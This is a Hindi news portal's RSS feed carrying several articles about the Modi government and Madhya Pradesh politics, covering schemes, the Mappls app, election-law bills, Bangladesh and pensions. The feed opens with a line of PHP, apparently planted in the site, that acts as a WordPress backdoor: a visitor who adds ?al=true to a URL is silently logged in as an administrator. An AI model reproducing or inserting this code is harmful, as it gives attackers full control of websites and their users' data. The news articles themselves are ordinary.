// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Modi government – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 11 May 2026 03:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मोदी सरकार के 12 साल: मध्यप्रदेश में सौगातों की बारिश कर सकती है मोहन सरकार https://pratyushaashakinayikiran.com/?p=218545 Mon, 11 May 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=218545 भोपाल
प्रधानमंत्री नरेन्द्र मोदी के नेतृत्व वाली केंद्र सरकार मई 2026 में अपने 12 साल पूरे कर 13वें में प्रवेश करने जा रही है। भाजपा और एनडीए शासित राज्य इस उपलिब्ध को अपने-अपने अंदाज में जनता से साझा करने की तैयारी कर रहे हैं।मध्यप्रदेश की मोहन सरकार भी मप्र की जनता से केंद्र के कामों, योजनाओं को इस मौके पर साझा करने का रोडमैप बना रही है।

जनहित योजनाओं का खाका तैयार करने का आदेश
सूत्रों के मुताबिक सीएम डॉ. मोहन यादव(CM Mohan Yadav) ने टॉप अफसरों से कहा है कि जनहित योजनाओं का खाका तैयार कर उनके विस्तार पर योजना तैयार करें। इनमें कि सान और आदिवासी सरकार की फोकस में होंगे। बता दें, मई में मोहन सरकार के भी ढाई साल पूरे होंगे। सरकार इस मौके को खास बनाना चाहती है।
 
जनता को ये सौगात दे सकते हैं मुख्यमंत्री
    दुग्ध उत्पादकों को दिए जाने वाले लाभों का दायरा बढ़ा सकते हैं।
    आदिवासियों को उनकी जमीन का मालिकाना हक दिलाने में तेजी।
    सड़क, सिंचाई व बिजली से वंचित क्षेत्रों में नई योजना की शुरु आत।
    महिलाओं को स्वावलंबी बनाने, आर्थिक गतिविधियों से जोडऩा।
    लघु उद्योगों की स्थापना के लिए अतिरिक्त छूट दी जा सक ती है।
    कृषि आधारित उद्योगों में किसानों व उनके परिवारों को जोडऩे के प्रयास।

मंत्रियों के कामकाज की समीक्षा के लिए होगी बैठक
बता दें कि प्रदेश में जहां एक ओर निगम मंडलों, प्राधिकरणों में राजनैतिक नियुक्तियां की जा रहीं हैं वहीं प्रदेश मंत्रि-मंडल मेें विस्तार भी संभावित है। इधर मध्यप्रदेश में मुख्यमंत्री डॉ. मोहन यादव की सरकार का 13 मई को ढाई साल का कार्यकाल पूरा हो रहा है। इसके लिए सीएम मोहन यादव द्वारा सभी मंत्रियों के कामकाज की समीक्षा के लिए बैठक बुलाई गई है। मुख्यमंत्री ने बैठकों की डेडलाइन भी तय कर दी है जिससे कई मंत्रियों की परेशानी बढ़ गई है। सीएम मोहन यादव ने मंत्रियों से कहा ​है कि समीक्षा बैठकें 8 मई से 10 मई के बीच विभागवार होंगी।

भोपाल में राजनैतिक अटकलें तेज
मध्यप्रदेश के मुख्यमंत्री मोहन यादव(CM Mohan Yadav) शुक्रवार को दिल्ली पहुंचे। यहां उन्होंने बीजेपी के राष्ट्रीय अध्यक्ष नितिन नवीन से मुलाकात की। सीएम मोहन यादव ने उन्हें अंगवस्त्रम ओढ़ाया और भेंट किया और स्मृति चिन्ह भेंट किया। बीजेपी के राष्ट्रीय अध्यक्ष नितिन नवीन से मुलाकात के संबंध में ट्वीट भी किया। सीएम मोहन यादव ने दिल्ली में हुई इस भेंट की तस्वीरें अपने एक्स हेंडल पर पोस्ट की हैं। इधर सीएम के दिल्ली दौरे पर भोपाल में राजनैतिक अटकलें तेज हो गई हैं। बीजेपी में खासी गहमागहमी है।

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Google Maps को टक्कर देने आया स्वदेशी Mappls, मोदी सरकार का डिजिटल इंडिया पर बड़ा दांव https://pratyushaashakinayikiran.com/?p=185296 Mon, 13 Oct 2025 10:35:00 +0000 https://pratyushaashakinayikiran.com/?p=185296 नई दिल्ली

WhatsApp का स्वदेशी राइवल Arattai को माना जा रहा है. पिछले हफ्ते से लगातार ये ऐप सुर्खियों में बना हुआ है. अब बारी है स्वदेशी Google Maps राइवल Mappls की जो अमेरिकी Maps को टक्कर दे सकता है. 

रेलवे और टेलीकॉम मिनिस्टर अश्विनी वैष्णव ने अमेरिकी माइक्रो ब्लॉगिंग वेबसाइट X पर एक पोस्ट किया. इस पोस्ट के बाद से भारत की प्राइवेट कंपनी CE Info System के शेयर्स 10.7 फीसदी चढ़े.

दरअसल मंत्री अश्विनी वैष्णव ने X पर एक वीडियो पोस्ट किया है. इस पोस्ट में उन्होंने लिखा है 'स्वदेशी Mappls बाय MapmyIndia, Good features.. must try!'. वीडियो में कह रहे हैं कि वो Mappls की टीम से मिले हैं और इस मैप में कई खासियते हैं.

Mappls की तारीफ करते हुए अश्विनी वैष्णव ने कहा कि ओवरब्रीज और अडरपास आता है तो वहां पे एक थ्री डायमेंशनल जंक्शन व्यू आता है. किसी बिल्डिंग में मल्टिपल फ्लोर्स हैं तो भी ये मैप बताता है कि किस शॉप में जाना है. लोगों को भी इसे ट्राई करना चाहिए. 

रेलवे में यूज होगा स्वदेशी Mappls

अश्विनी वैष्णव ने ये भी कहा है कि जल्दी ही रेलवे और Mappls के बीच MoU साइन किया जाएगा ताकि जितने भी अच्छे फीचर्स इस सर्विस में दिए गए हैं उसे यूज किया जा सके. 

गौरतलब है कि Mapmyindia भारत की कंपनी है और इसकी पेरेंट कंपनी का नाम CE Info System है. अश्विनी वैष्णव वीडियो में Mapmyindia यूज करते हुए दिख रहे हैं.

अश्विनी वैष्णव इस वीडियो में वो ऐपल कार प्ले में Mapmyindia यूद कर रहे हैं. इस दौरान वो इसकी खासियत भी बताते हुए दिख रहे हैं. यहां गूगल मैप्स की तरह ही रियल टाइन मेविगेशन देखा जा सकता है.

स्वदेशी Arattai में इंटीग्रेट होगा MapmyIndia?

X पर कई लोग पोस्ट करके लिख रहे हैं कि स्वदेशी WhatsApp राइवल Arattai में MapmyIndia को इंटीग्रेट करना चाहिए. एक X पोस्ट में MapmyIndia के डायरेक्टर रोहन वर्मा ने लिखा है कि वो भी चाहते हैं कि Aratti में इसे इंटीग्रेट किया जाए.

उन्होंने अपने पोस्ट में लिखा है कि कोई भी ऐप डेवेलपर Mappls API और SDK यूज करके इसे इंटीग्रेट कर सकता है. उन्होंनो पोस्ट में लिक भी शेयर किया है जहां इंटीग्रेशन के तरीकों के बारे में बताया गया है.

कैसे काम करता है MapMyIndia का Mappls?

CE Info सिस्टम की बात करें तो ये Mappls और Mapmyindia की पेरेंट कंपनी है. ये कंपनी लोकेशन बेस्ड iOT प्रोडक्ट्स और प्लेटफॉर्म्स बनाती है. कंपनी के मुताबिक Mappls भारत के लिए खासतौर पर बना है. इसमें आप बहुत ही लोकल लेवल पर लोकेशन और एड्रेस ढूंढ सकते हैं, जैसे किसी गली, मोहल्ले या गांव तक भी. इसमें Mappls Pin नाम की सुविधा है जिससे आप बहुत आसानी से किसी का सही पता शेयर कर सकते हैं. ये गूगल मैप्स पिन से इंस्पायर्ड है.

Mappls के खास फीचर्स:

    भारतीय सड़कों के लिए: इसमें स्पीड ब्रेकर, गड्ढे, टोल, रोडब्लॉक, लोकल लेन का नाम जैसे फीचर्स मिलते हैं.
    RealView: 360° फोटो में भारत के खास जगहों की झलक देख सकते हैं.
    भाषा: हिंदी और अन्य भारतीय भाषाओं में भी इस्तेमाल कर सकते हैं.
    सेफ्टी: रोड सेफ्टी अलर्ट, मौसम, एयर क्वालिटी जैसी जानकारी.
    ऑफलाइन मैप्स: बिना इंटरनेट के भी नेविगेशन. पहले ऑफलाइन मैप्स डाउनलोड करना होता है. 
    प्राइवेसी: आपकी सारी जानकारी भारत में ही स्टोर होती है.
     

 

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ग्रामीण विकास मंत्रालय ने पीवीटीजी परिवारों के लिए 30,000 से अधिक घरों को मंजूरी दी https://pratyushaashakinayikiran.com/?p=103361 Wed, 27 Nov 2024 09:08:00 +0000 https://pratyushaashakinayikiran.com/?p=103361 भोपाल

केंद्र सरकार ने मध्य प्रदेश में कमजोर जनजातीय समूह (पीवीटीजी) परिवारों के लिए 30,000 से अधिक घरों को मंजूरी दी है। केंद्र ने 'प्रधानमंत्री जनजातीय आदिवासी न्याय महाअभियान' (पीएम-जनमन) के तहत इन परिवारों को सौगात दी है।

ग्रामीण विकास मंत्रालय ने  ग्रामीण विकास मंत्री शिवराज सिंह चौहान के हवाले से कहा- नरेन्द्र मोदी सरकार का ध्यान समाज के अंतिम व्यक्ति तक लाभ पहुंचने पर है। केंद्र सरकार ने मध्य प्रदेश में विशेष रूप से कमजोर जनजातीय समूह (पीवीटीजी) परिवारों के लिए 30,000 से अधिक घरों को मंजूरी दी है।

उन्होंने कहा कि पीएम-जनमन योजना के तहत लक्ष्य (4.9 लाख घर) मार्च 2026 तक हासिल किया जाना है। केंद्र ने पीएम-जनमन के अंतर्गत आंध्र प्रदेश राज्‍य में 297.18 कि.मी लंबाई की 76 सड़कों की स्‍वीकृति भी प्रदान की है। इन 76 सड़कों की अनुमानित लागत 275.07 करोड़ रुपये है, जिसमें से केंद्रीय अंश 163.39 करोड़ रुपये एवं राज्य अंश 111.68 करोड़ रुपये है।

प्रधानमंत्री मोदी ने नवंबर 2023 में पीएम-जनमन पहल की शुरुआत की थी। इस पहल का उद्देश्य कमजोर जनजातीय परिवारों को आवश्यक सुविधाएं प्रदान करना है, जिसमें सुरक्षित आवास, स्वच्छ पेयजल, स्वच्छता, शिक्षा, स्वास्थ्य, पोषण के साथ-साथ बेहतर सड़क, दूरसंचार संपर्क और स्थायी आजीविका के अवसर प्रदान करना शामिल है।

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तीन संशोधन विधेयक लाने की तैयारी में मोदी सरकार, संविधान में करने होंगे 18 बदलाव https://pratyushaashakinayikiran.com/?p=77226 Sun, 29 Sep 2024 19:25:00 +0000 https://pratyushaashakinayikiran.com/?p=77226 नई दिल्ली.

केंद्रीय मंत्रिमंडल ने इस महीने की शुरुआत में उच्च स्तरीय पूर्व राष्ट्रपति रामनाथ कोविंद कमेटी की 'वन नेशन-वन इलेक्शन' सिफारिशों को मंजूरी दी। सरकार अब अपनी इस योजना को आगे बढ़ाने के लिए संविधान में संशोधन करने की तैयारी कर रही है। सरकार वन नेशन-वन इलेक्शन को लागू करने के लिए संविधान में संशोधन करने वाले दो विधेयकों समेत तीन विधेयकों को लाने की तैयारी में है।

प्रस्तावित संविधान संशोधन विधेयकों में से एक स्थानीय निकायों के चुनावों को लोकसभा और विधानसभाओं के साथ संरेखित करने से संबंधित है। जिसके लिए कम से कम 50 प्रतिशत राज्यों की सहमति की जरूरत होगी। सूत्रों की ओर से कहा गया है कि, प्रस्तावित पहला संविधान संशोधन विधेयक लोकसभा और राज्य विधानसभाओं के चुनाव एक साथ कराने को लेकर होगा।

एक साथ लोकसभा और विधानसभाओं को भंग करने वाला संशोधन विधेयक
उच्च स्तरीय समिति की सिफारिशों का हवाला देते हुए सूत्रों ने बताया कि प्रस्तावित विधेयक में अनुच्छेद 82ए में संशोधन करने की कोशिश की जाएगी। जिसमें 'नियत तिथि' से संबंधित उप-खंड (1) जोड़ा जाएगा। इसमें अनुच्छेद 82ए में उप-खंड (2) जोड़ने की भी कोशिश की जाएगी। जो लोकसभा और राज्य विधानसभाओं के कार्यकाल के अंत से संबंधित है। इस संविधान संशोधन में अनुच्छेद 83(2) में संशोधन करने तथा लोकसभा की अवधि और विघटन से संबंधित नए उप-खंड (3) और (4) सम्मिलित करने का भी प्रस्ताव है। इसमें विधानसभाओं के विघटन से संबंधित प्रावधान भी शामिल किए गए हैं तथा अनुच्छेद 327 में संशोधन करके "एक साथ चुनाव" शब्द सम्मिलित करने का प्रावधान किया जा सकता है। सिफारिश में कहा गया है कि इस विधेयक को 50 प्रतिशत राज्यों के समर्थन की आवश्यकता नहीं होगी।

दूसरे विधयेक के लिए 50 फीसदी राज्यों की सहमति जरूरी
प्रस्तावित दूसरे संविधान संशोधन विधेयक को कम से कम 50 प्रतिशत राज्य विधानसभाओं के समर्थन की आवश्यकता होगी क्योंकि यह राज्य मामलों से संबंधित है। इस विधेयक के जरिए स्थानीय निकायों के चुनावों को  लेकर मतदाता सूची तैयार की जाएगी। जिसके लिए चुनाव आयोग (ईसी) को  राज्य चुनाव आयोगों (एसईसी) के साथ परामर्श करना होगा। जिसके बाद ईसी इन चुनावों को लेकर मतदाता सूची तैयार करेगा। संवैधानिक रूप से चुनाव आयोग और राज्य चुनाव आयोग अलग-अलग निकाय हैं। चुनाव आयोग राष्ट्रपति, उपराष्ट्रपति, लोकसभा, राज्यसभा, राज्य विधानसभाओं और राज्य विधान परिषदों के लिए चुनाव कराता है, जबकि एसईसी को नगर पालिकाओं और पंचायतों जैसे स्थानीय निकायों के लिए चुनाव कराने का अधिकार है। प्रस्तावित दूसरा संविधान संशोधन विधेयक में एक नया अनुच्छेद 324ए जोड़कर लोकसभा और राज्य विधानसभाओं के चुनावों के साथ-साथ नगर पालिकाओं और पंचायतों के एक साथ चुनाव कराने का प्रावधान किया जाएगा।

तीसरा विधेयक
तीसरा विधेयक एक साधारण विधेयक होगा। जो विधानसभा वाले केंद्र शासित प्रदेशों जैसे- पुडुचेरी, दिल्ली और जम्मू-कश्मीर से संबंधित होगा।  जो तीन कानूनों के प्रावधानों में संशोधन करेगा। ताकि इन सदनों की शर्तों को अन्य विधानसभाओं और लोकसभा के साथ संरेखित किया जा सके। जिसे पहले संविधान संशोधन विधेयक में प्रस्तावित किया गया है। इसमें जिन कानूनों में संशोधन करने का प्रस्ताव है, वे हैं राष्ट्रीय राजधानी क्षेत्र दिल्ली सरकार अधिनियम-1991, केंद्र शासित प्रदेश सरकार अधिनियम-1963 और जम्मू-कश्मीर पुनर्गठन अधिनियम-2019। प्रस्तावित विधेयक एक साधारण कानून होगा, जिसके लिए संविधान में बदलाव की आवश्यकता नहीं होगी और राज्यों द्वारा अनुसमर्थन की भी आवश्यकता नहीं होगी। उच्च स्तरीय समिति ने तीन अनुच्छेदों में संशोधन करने, मौजूदा अनुच्छेदों में 12 नए उप-खंडों को शामिल करने और विधानसभा वाले केंद्र शासित प्रदेशों से संबंधित तीन कानूनों में फेरबदल करने का प्रस्ताव दिया था। 'एक देश एक चुनाव' के लिए संविधान में संशोधनों और नए सम्मिलनों की कुल संख्या 18 है।

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बांग्लादेश में हिंदुओं की चिंता, मोदी सरकार ने बॉर्डर पर नजर रखने के लिए बनाई समिति https://pratyushaashakinayikiran.com/?p=59080 Sat, 10 Aug 2024 09:09:00 +0000 https://pratyushaashakinayikiran.com/?p=59080 नई दिल्ली
 बांग्लादेश में अराजकता की स्थिति से पड़ोसी देश होने के नाते भारत को भारी चिंता है। बांग्लादेश में अल्पसंख्यक हिंदुओं पर हो रहे अत्याचार की घटनाएं रुह कंपा रही हैं। ऐसे में प्रधानमंत्री नरेंद्र मोदी की सरकार ने बांग्लादेश के हालात पर नजर रखने के लिए एक समिति का गठन किया है। केंद्रीय गृह मंत्री अमित शाह ने सोशल मीडिया प्लैटफॉर्म एक्स पर एक पोस्ट के जरिए इसकी जानकारी दी है। उन्होंने बताया है कि बीएसएफ के ईस्टर्न कमांड के एडीजी को समिति का अध्यक्ष बनाया गया है।

शाह ने लिखा, 'मोदी सरकार ने भारत-बांग्लादेश सीमा पर मौजूदा स्थिति की निगरानी के लिए समिति गठित की। सरकारी समिति भारतीय नागरिकों, हिंदुओं और अल्पसंख्यकों की सुरक्षा सुनिश्चित करने के लिए बांग्लादेश में अधिकारियों के संपर्क में रहेगी। भारत-बांग्लादेश सीमा पर स्थिति की निगरानी के लिए सरकारी समिति का नेतृत्व बीएसएफ की पूर्वी कमान के एडीजी करेंगे।'

बांग्लादेश में शेख हसीना सरकार के तख्तापलट के बाद स्थितियां काफी गंभीर हो गई हैं। कट्टरपंथी मुसलमानों की भीड़ अल्पसंख्यक हिंदुओं के घरों, व्यापारिक प्रतिष्ठानों और मंदिरों पर हमले कर रहे हैं। कट्टरपंथियों के हमले में कई निर्षोद हिंदू मारे जा चुके हैं। जान बचाने के लिए भारी संख्या में हिंदू भारत में शरण लेने को सीमा पर पहुंच रहे हैं। ऐसे में पड़ोसी देश होने के नाते भारत के लिए बड़ा सरदर्द पैदा हो गया है। भारत के सामने फिलहाल सबसे बड़ी चुनौती है कि वह बांग्लादेश में हिंदुओं की सुरक्षा सुनिश्चित करे तो कैसे? दूसरी तरफ सीमा पर पहुंच रहे हिंदुओं और घुसपैठ करना चाह रहे कट्टरपंथी मुसलमानों के बीच फर्क करे तो कैसे?

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नरेंद्र मोदी सरकार के नए कार्यकाल में केंद्रीय कर्मचारियों को बड़ा तोहफा मिल सकता है https://pratyushaashakinayikiran.com/?p=39905 Mon, 10 Jun 2024 20:15:00 +0000 https://pratyushaashakinayikiran.com/?p=39905 नई दिल्ली
नरेंद्र मोदी सरकार के नए कार्यकाल में केंद्रीय कर्मचारियों को बड़ा तोहफा मिल सकता है। सरकार राष्ट्रीय पेंशन प्रणाली (एनपीएस) के तहत केंद्र सरकार के कर्मचारियों के पेंशन लाभ में बड़ी बढ़ोतरी करने की योजना बना रही है। इसके तहत कर्मचारियों को पेंशन के रूप में अंतिम मूल वेतन के 50 प्रतिशत तक की गारंटी मिलेगी। आसान भाषा में समझें तो रिटायर होने से पहले कर्मचारी की जो भी अंतिम बेसिक सैलरी होगी उसका 50 फीसदी मासिक पेंशन के रूप में दिया जाएगा।
 

2023 में पैनल का गठन

दरअसल, नरेंद्र मोदी सरकार के दूसरे कार्यकाल के दौरान मार्च 2023 में वित्त सचिव टीवी सोमनाथन की अध्यक्षता में एक पैनल का गठन किया गया था। इस पैनल का गठन ओल्ड पेंशन सिस्टम (ओपीएस) पर वापस लौटे बिना सरकारी कर्मचारियों के लिए एनपीएस के तहत पेंशन लाभ बढ़ाने के तरीके सुझाने के लिए किया गया। सरकार ने यह फैसला ऐसे समय में लिया जब कई राज्यों ने एनपीएस को छोड़कर ओपीएस पर वापस लौटना शुरू कर दिया है।

खबर के मुताबिक पैनल ने मई महीने में सरकार को अपनी रिपोर्ट सौंप दी है। इस रिपोर्ट में बड़े पैमाने पर 2023 में लागू आंध्र प्रदेश एनपीएस मॉडल का प्रभाव है। इसे पुरानी और नई पेंशन स्कीम का मिलाजुला मॉडल कह सकते हैं। आंध्र प्रदेश गारंटीड पेंशन सिस्टम (एपीजीपीएस) अधिनियम, 2023 के तहत सरकारी कर्मचारियों को उनके अंतिम सैलरी का 50 फीसदी, मासिक पेंशन के रूप में दिया जाएगा। इसमें महंगाई राहत यानी डीआर भी शामिल होगा। इसके अतिरिक्त मृत कर्मचारी के पति या पत्नी को गारंटी राशि का 60 प्रतिशत मासिक पेंशन की गारंटी दी जाती है।
 
क्या कहता है एनपीएस का ये प्रस्ताव?
नए प्रस्ताव के तहत केंद्रीय कर्मचारियों को अंतिम मूल वेतन के 50 प्रतिशत तक की पेंशन की गारंटी मिलेगी। गारंटीशुदा पेंशन राशि को पूरा करने के लिए आवश्यक पेंशन कोष में किसी भी कमी को केंद्र सरकार के बजट से कवर किया जाएगा। इससे लगभग 8.7 मिलियन केंद्रीय और राज्य सरकार के कर्मचारियों को फायदा हो सकता है। ये वो कर्मचारी होंगे, जो 2004 से एनपीएस में रजिस्टर्ड हैं।

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